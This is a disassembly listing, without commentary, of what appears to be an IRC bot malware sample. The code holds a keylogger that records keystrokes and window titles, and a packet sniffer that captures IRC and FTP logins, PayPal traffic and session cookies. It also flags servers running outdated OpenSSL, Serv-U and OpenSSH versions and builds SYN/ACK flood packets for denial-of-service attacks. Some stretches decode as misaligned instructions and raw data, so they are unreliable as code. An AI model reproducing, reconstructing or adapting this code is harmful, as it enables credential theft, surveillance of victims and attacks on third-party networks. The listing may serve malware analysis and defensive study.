push dword ptr [ebp-374h]
call sub_40145D
add esp, 14h
loc_412E09: ; CODE XREF: seg000:00412DE4j
lea eax, [ebp-778h]
push eax
call sub_4161A7
pop ecx
jmp loc_412F2B
; ---------------------------------------------------------------------------
loc_412E1B: ; CODE XREF: seg000:00412D5Aj
cmp byte ptr [ebp-0CFh], 4
jnz loc_412F15
mov cl, [ebp-0CDh]
mov al, [ebp-0CEh]
cmp cl, 0FFh
mov [ebp-578h], bl
mov byte ptr [ebp-577h], 3
jnz short loc_412E58
inc al
xor cl, cl
mov [ebp-576h], al
mov [ebp-575h], bl
jmp short loc_412E66
; ---------------------------------------------------------------------------
loc_412E58: ; CODE XREF: seg000:00412E44j
inc cl
mov [ebp-576h], al
mov [ebp-575h], cl
loc_412E66: ; CODE XREF: seg000:00412E56j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx
push eax
push dword ptr [ebp-4]
call sub_4201E0
push dword ptr [ebp-4]
lea eax, [ebp-574h]
push edi
push 1
push eax
call sub_41CDD0
add esp, 1Ch
mov edi, eax
lea eax, [ebp-3Ch]
mov [ebp-8], edi
push dword ptr [ebp-0Ch]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp-578h]
push eax
push esi
call ds:dword_451554
cmp edi, ebx
jnz short loc_412F2B
lea eax, [ebp-50h]
push eax
lea eax, [ebp-778h]
push offset dword_44AFF4
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-0D8h], ebx
jnz short loc_412F00
push ebx
lea eax, [ebp-778h]
push dword ptr [ebp-0DCh]
push eax
lea eax, [ebp-15Ch]
push eax
push dword ptr [ebp-374h]
call sub_40145D
add esp, 14h
loc_412F00: ; CODE XREF: seg000:00412EDBj
lea eax, [ebp-778h]
push eax
call sub_4161A7
inc ds:dword_4E1D34
pop ecx
jmp short loc_412F2B
; ---------------------------------------------------------------------------
loc_412F15: ; CODE XREF: seg000:00412D4Dj
; seg000:00412E22j
push dword ptr [ebp-0Ch]
lea eax, [ebp-3Ch]
push eax
push ebx
push 9
push offset dword_44B04C
push esi
call ds:dword_451554
loc_412F2B: ; CODE XREF: seg000:00412CECj
; seg000:00412E16j ...
cmp [ebp-8], ebx
jg loc_412C93
mov edi, [ebp+8]
loc_412F37: ; CODE XREF: seg000:00412C9Cj
push esi
call ds:dword_451588
push dword ptr [ebp-4]
call sub_41ACF0
dec dword ptr [ebp-164h]
loc_412F4C: ; DATA XREF: seg002:off_44F978o
; seg002:off_44F97Co
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_412F68
push dword ptr [ebp-168h]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
aaa
loc_412F68: ; CODE XREF: seg000:00412F53j
push 3E8h
call ds:dword_4F12F4 ; Sleep
push edi
loc_412F74: ; CODE XREF: seg000:00412C10j
call loc_412AD0
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F80 proc near ; CODE XREF: sub_413061+B4p
; sub_413061+253p
var_1137B = byte ptr -1137Bh
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4F13C8 ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call near ptr 3D0000h
test [ebp+var_1137B], 0FFh
push offset dword_44B7C4
push eax
call sub_41E560
lea eax, [ebp+var_114]
push offset dword_43CCCC
push eax
call sub_41E560
lea eax, [ebp+var_114]
push offset dword_44B7C8
push eax
call sub_41D0E0
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_412FE7
push 1
pop eax
jmp short loc_41305E
; ---------------------------------------------------------------------------
loc_412FE7: ; CODE XREF: sub_412F80+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41E440
push esi
call sub_41ACF0
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_41305C
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_44B7E8
push 200h
push eax
call sub_41D360
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40145D
add esp, 24h
loc_41305C: ; CODE XREF: sub_412F80+A3j
xor eax, eax
loc_41305E: ; CODE XREF: sub_412F80+65j
pop esi
leave
retn
sub_412F80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413061 proc near ; DATA XREF: seg000:00404983o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call ds:dword_451478
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_451490
mov ebx, 200h
loc_4130BC: ; CODE XREF: sub_413061+2C7j
push 8
call ds:dword_4F12F4 ; Sleep
call ds:dword_451478
cmp eax, [ebp+var_8]
jz short loc_413144
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_451490
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_41D260
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_412F80
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41D100
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41D100
add esp, 0Ch
loc_413144: ; CODE XREF: sub_413061+6Cj
mov [ebp+arg_0], offset dword_44B05C
loc_41314B: ; CODE XREF: sub_413061+2BDj
push 10h
call ds:dword_4513CC
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call ds:dword_4514C0
test ah, 80h
jz short loc_4131E3
push 14h
call ds:dword_4513CC
test ax, ax
jz short loc_413194
cmp esi, 0FFFFFFFFh
jle short loc_413194
cmp edi, 40h
jle short loc_413194
cmp edi, 5Bh
jge short loc_413194
mov [ebp+edi*4+var_8DC], 1
jmp loc_413313
; ---------------------------------------------------------------------------
loc_413194: ; CODE XREF: sub_413061+112j
; sub_413061+117j ...
push 14h
call ds:dword_4513CC
test ax, ax
jz short loc_4131BF
test esi, esi
jge short loc_4131D3
cmp edi, 40h
jle short loc_4131BF
cmp edi, 5Bh
jge short loc_4131BF
mov [ebp+edi*4+var_8DC], 2
jmp loc_413313
; ---------------------------------------------------------------------------
loc_4131BF: ; CODE XREF: sub_413061+13Ej
; sub_413061+147j ...
test esi, esi
jge short loc_4131D3
mov [ebp+edi*4+var_8DC], 3
jmp loc_413313
; ---------------------------------------------------------------------------
loc_4131D3: ; CODE XREF: sub_413061+142j
; sub_413061+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_413313
; ---------------------------------------------------------------------------
loc_4131E3: ; CODE XREF: sub_413061+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_413313
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
cmp edi, 8
push eax
jnz short loc_41321B
call sub_41AC70
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_413313
; ---------------------------------------------------------------------------
loc_41321B: ; CODE XREF: sub_413061+1A5j
call sub_41AC70
cmp eax, 1B9h
pop ecx
jbe short loc_41324D
call ds:dword_451478
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_451490
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_41328E
; ---------------------------------------------------------------------------
loc_41324D: ; CODE XREF: sub_413061+1C5j
cmp edi, 0Dh
jnz loc_4132E5
lea eax, [ebp+var_2DC]
push eax
call sub_41AC70
test eax, eax
pop ecx
jz loc_413313
call ds:dword_451478
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_451490
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_41328E: ; CODE XREF: sub_413061+1EAj
lea eax, [ebp+var_4DC]
push eax
call sub_41D260
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_412F80
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41D100
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41D100
add esp, 0Ch
jmp short loc_413313
; ---------------------------------------------------------------------------
loc_4132E5: ; CODE XREF: sub_413061+1EFj
cmp esi, 1
jz short loc_4132FE
cmp esi, 3
jz short loc_4132FE
cmp esi, 2
jz short loc_4132F9
cmp esi, 4
jnz short loc_413313
loc_4132F9: ; CODE XREF: sub_413061+291j
push [ebp+arg_0]
jmp short loc_413305
; ---------------------------------------------------------------------------
loc_4132FE: ; CODE XREF: sub_413061+287j
; sub_413061+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_413305: ; CODE XREF: sub_413061+29Bj
lea eax, [ebp+var_2DC]
push eax
call sub_41E560
pop ecx
pop ecx
loc_413313: ; CODE XREF: sub_413061+12Ej
; sub_413061+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_44B78C
jl loc_41314B
cmp [ebp+var_4], 0
jz loc_4130BC
push [ebp+var_D8]
call sub_40905B
pop ecx
push 0
call near ptr 3D0000h
sbb eax, 424448Bh ; CODE XREF: seg000:00413864p
; seg000:0041388Ap
sub_413061 endp ; sp-analysis failed
mov ds:dword_4E2674, eax
mov eax, offset dword_4E2674
retn
; =============== S U B R O U T I N E =======================================
sub_413351 proc near ; CODE XREF: seg000:00413910p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_41336B
loc_413367: ; CODE XREF: sub_413351+29j
; sub_413351+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41336B: ; CODE XREF: sub_413351+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_413367
push offset aPsniff ; "[PSNIFF]:"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_413367
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_413367
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4133B3
loc_4133AF: ; CODE XREF: sub_413351+71j
; sub_413351+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4133B3: ; CODE XREF: sub_413351+5Cj
push offset a302 ; "302 "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset a366 ; "366 "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset a_login ; ":.login"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset aLogin ; ":!login"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset aLogin_0 ; ":!Login"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset a_login_0 ; ":.Login"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset a_ident ; ":.ident"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4133AF
push offset aIdent_0 ; ":!ident"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz loc_4133AF
push offset a_hashin ; ":.hashin"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz loc_4133AF
push offset aHashin ; ":!hashin"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413351 endp
; =============== S U B R O U T I N E =======================================
sub_413468 proc near ; CODE XREF: seg000:00413949p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_413482
loc_41347E: ; CODE XREF: sub_413468+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413482: ; CODE XREF: sub_413468+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_41347E
push offset aOper ; "OPER "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4134A8
loc_4134A4: ; CODE XREF: sub_413468+4Fj
; sub_413468+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4134A8: ; CODE XREF: sub_413468+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134A4
push offset aOper_0 ; "oper "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134A4
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413468 endp
; =============== S U B R O U T I N E =======================================
sub_4134DE proc near ; CODE XREF: seg000:0041397Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4134F8
loc_4134F4: ; CODE XREF: sub_4134DE+29j
; sub_4134DE+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4134F8: ; CODE XREF: sub_4134DE+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134F4
push offset aNick_2 ; "NICK "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134F4
push offset a220 ; "220 "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_41352F
loc_41352B: ; CODE XREF: sub_4134DE+60j
; sub_4134DE+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41352F: ; CODE XREF: sub_4134DE+4Bj
push offset a230 ; "230 "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_41352B
push offset aUser_2 ; "USER "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_41352B
push offset aPass_0 ; "PASS "
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4134DE endp
; =============== S U B R O U T I N E =======================================
sub_413565 proc near ; CODE XREF: seg000:004139B0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_41357F
loc_41357B: ; CODE XREF: sub_413565+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41357F: ; CODE XREF: sub_413565+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_41357B
push offset aPaypal ; "paypal"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4135A5
loc_4135A1: ; CODE XREF: sub_413565+4Fj
; sub_413565+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4135A5: ; CODE XREF: sub_413565+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4135A1
push offset aPaypal_com ; "PAYPAL.COM"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4135A1
push offset aPaypal_com_0 ; "paypal.com"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_4135A1
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413565 endp
; =============== S U B R O U T I N E =======================================
sub_4135EC proc near ; CODE XREF: seg000:loc_413A16p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_413606
loc_413602: ; CODE XREF: sub_4135EC+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413606: ; CODE XREF: sub_4135EC+14j
push offset aMss2 ; "#mss2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_413602
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_41362C
loc_413628: ; CODE XREF: sub_4135EC+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41362C: ; CODE XREF: sub_4135EC+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_413628
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4135EC endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41DEB0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp-0B8h]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp-3B7h]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp-3B8h], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp-3B8h]
mov word ptr [ebp-20h], 2
push eax
mov [ebp-1Eh], bx
mov [ebp-1Ch], ebx
call ds:dword_451508
lea eax, [ebp-3B8h]
push eax
call ds:dword_451574
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp-8]
push eax
call sub_41E840
mov eax, [ebp-8]
add esp, 0Ch
mov [ebp-1Ch], eax
push ebx
push 3
push 2
call ds:dword_451570
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short loc_4136F7
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4136F7: ; CODE XREF: seg000:004136ECj
lea eax, [ebp-20h]
push 10h
push eax
push edi
call ds:dword_451520
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_41376C+1
call ds:dword_451488
push eax
lea eax, [ebp-2B8h]
push offset dword_44B9D0
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_413749
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_40145D
add esp, 14h
loc_413749: ; CODE XREF: seg000:00413727j
lea eax, [ebp-2B8h]
push eax
call sub_4161A7
pop ecx
push edi
call ds:dword_451588
push dword ptr [ebp-34h]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
loc_41376C: ; CODE XREF: seg000:00413707j
rcpps xmm1, oword ptr [ebp+5053DC45h]
push ebx
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push 98000001h
push edi
mov [ebp-0Ch], esi
call ds:dword_4514A0
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_4137F2+1
call ds:dword_451488
push eax
lea eax, [ebp-2B8h]
push offset dword_44BA18
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_4137CF
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_40145D
add esp, 14h
loc_4137CF: ; CODE XREF: seg000:004137ADj
lea eax, [ebp-2B8h]
push eax
call sub_4161A7
pop ecx
push edi
call ds:dword_451588
push dword ptr [ebp-34h]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
loc_4137F2: ; CODE XREF: seg000:0041378Dj
test [esi+200h], bh
loc_4137F8: ; CODE XREF: seg000:00413827j
; seg000:0041384Cj ...
mov edi, 0FFFFh
lea eax, [ebp-113B8h]
push edi
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-113B8h]
push ebx
push edi
push eax
push dword ptr [ebp-10h]
call ds:dword_45150C
cmp byte ptr [ebp-113AFh], 6
jnz short loc_4137F8
push dword ptr [ebp-113A4h]
mov edi, ds:dword_4F14AC
call edi ; dword_4F14AC
push dword ptr [ebp-113A2h]
movzx eax, ax
mov [ebp+8], eax
call edi ; dword_4F14AC
cmp dword ptr [ebp+8], 6Eh
movzx edi, ax
jz short loc_4137F8
cmp dword ptr [ebp+8], 19h
jz short loc_4137F8
cmp edi, 6Eh
jz short loc_4137F8
cmp edi, 19h
jz short loc_4137F8
push dword ptr [ebp-113ACh]
call near ptr loc_413341+1
pop ecx
push dword ptr [eax]
call ds:dword_4F14B0 ; inet_ntoa
push eax
lea eax, [ebp-13B8h]
push offset dword_44BA64
push eax
call sub_41D260
push dword ptr [ebp-113A8h]
call near ptr loc_413341+1
add esp, 10h
push dword ptr [eax]
call ds:dword_4F14B0 ; inet_ntoa
push eax
lea eax, [ebp-0BB8h]
push offset dword_44BA68
push eax
call sub_41D260
lea eax, [ebp-1138Ch]
mov [ebp-4], ebx
push eax
call sub_41AC70
add esp, 10h
test eax, eax
jle short loc_4138F6
loc_4138C2: ; CODE XREF: seg000:004138F4j
mov eax, [ebp-4]
cmp byte ptr [ebp+eax-1138Ch], 0Dh
lea eax, [ebp+eax-1138Ch]
jnz short loc_4138D9
mov byte ptr [eax], 20h
loc_4138D9: ; CODE XREF: seg000:004138D4j
cmp byte ptr [eax], 0Ah
jnz short loc_4138E1
mov byte ptr [eax], 20h
loc_4138E1: ; CODE XREF: seg000:004138DCj
inc dword ptr [ebp-4]
lea eax, [ebp-1138Ch]
push eax
call sub_41AC70
cmp [ebp-4], eax
pop ecx
jl short loc_4138C2
loc_4138F6: ; CODE XREF: seg000:004138C0j
cmp dword ptr [ebp+8], 50h
jz loc_4139A9
cmp edi, 50h
jz loc_4139A9
lea eax, [ebp-1138Ch]
push eax
call sub_413351
test al, al
pop ecx
jz short loc_41393D
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_44BA6C
jmp loc_4139D8
; ---------------------------------------------------------------------------
loc_41393D: ; CODE XREF: seg000:00413918j
cmp edi, 50h
jz short loc_4139A9
lea eax, [ebp-1138Ch]
push eax
call sub_413468
test al, al
pop ecx
jz short loc_413973
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_44BABC
jmp short loc_4139D8
; ---------------------------------------------------------------------------
loc_413973: ; CODE XREF: seg000:00413951j
cmp edi, 50h
jz short loc_4139A9
lea eax, [ebp-1138Ch]
push eax
call sub_4134DE
test al, al
pop ecx
jz short loc_4139A9
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_44BB0C
jmp short loc_4139D8
; ---------------------------------------------------------------------------
loc_4139A9: ; CODE XREF: seg000:004138FAj
; seg000:00413903j ...
lea eax, [ebp-1138Ch]
push eax
call sub_413565
test al, al
pop ecx
lea eax, [ebp-1138Ch]
push eax
jz short loc_413A16
lea eax, [ebp-0BB8h]
push edi
push eax
lea eax, [ebp-13B8h]
push dword ptr [ebp+8]
push eax
push offset unk_44BB5C
loc_4139D8: ; CODE XREF: seg000:00413938j
; seg000:00413971j ...
lea eax, [ebp-2B8h]
push esi
push eax
call sub_41D360
add esp, 20h
cmp [ebp-2Ch], ebx
jnz loc_4137F8
push ebx
lea eax, [ebp-2B8h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B4h]
push eax
push dword ptr [ebp-0B8h]
call sub_40145D
add esp, 14h
jmp loc_4137F8
; ---------------------------------------------------------------------------
loc_413A16: ; CODE XREF: seg000:004139BFj
call sub_4135EC
test al, al
pop ecx
jz loc_4137F8
lea eax, [ebp-1138Ch]
push eax
lea eax, [ebp-0BB8h]
push edi
push eax
push dword ptr [ebp+8]
lea eax, [ebp-13B8h]
push eax
push offset unk_44BBAC
jmp short loc_4139D8
; ---------------------------------------------------------------------------
dword_413A44 dd 81EC8B55h, 494ECh, 8458B00h, 0A5B95756h, 8B000000h
; DATA XREF: seg000:00406410o
dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0FF000000h
dd 4F134015h, 19E85000h, 8D0000A1h, 0FFFE7485h, 858D50FFh
dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
dd 395h, 6C858D50h, 68FFFFFBh, 44BBFCh, 97B6E850h, 0F6330000h
dd 3920C483h, 2075F875h, 6C858D56h, 0FFFFFFFBh, 8D50F475h
dd 0FFFEF485h, 0B5FF50FFh, 0FFFFFD6Ch, 0FED98CE8h, 14C483FFh
dd 0FB6C858Dh, 0E850FFFFh, 26C7h, 0FD70B5FFh, 70E8FFFFh
dd 59FFFF55h, 0DE85659h, 84FFFBC5h
; ---------------------------------------------------------------------------
pop edi
pop esi
loc_413AF6: ; CODE XREF: seg000:00413E6Dp
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_451464
test eax, eax
jz short loc_413B36
xor eax, eax
jmp loc_413E29
; ---------------------------------------------------------------------------
loc_413B36: ; CODE XREF: seg000:00413B2Dj
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_451594
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_413E21
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call ds:dword_4514D4
cmp eax, 0FFFFFFFFh
jz loc_413E17
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call ds:dword_4514F4
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call ds:dword_4514F4
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call ds:dword_4514F4
mov [ebp-12h], ax
call sub_41DBA0
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_4514F4
push 12345678h
mov [ebp-14h], ax
call ds:dword_4514F0
push offset aDdos_syn_0 ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_413C06
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_413C5A
; ---------------------------------------------------------------------------
loc_413C06: ; CODE XREF: seg000:00413BFBj
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_413C22
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_413C5A
; ---------------------------------------------------------------------------
loc_413C22: ; CODE XREF: seg000:00413C17j
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_413C5A
call sub_41DBA0
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_41DBA0
loc_413C48: ; CODE XREF: seg000:00413C83j
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
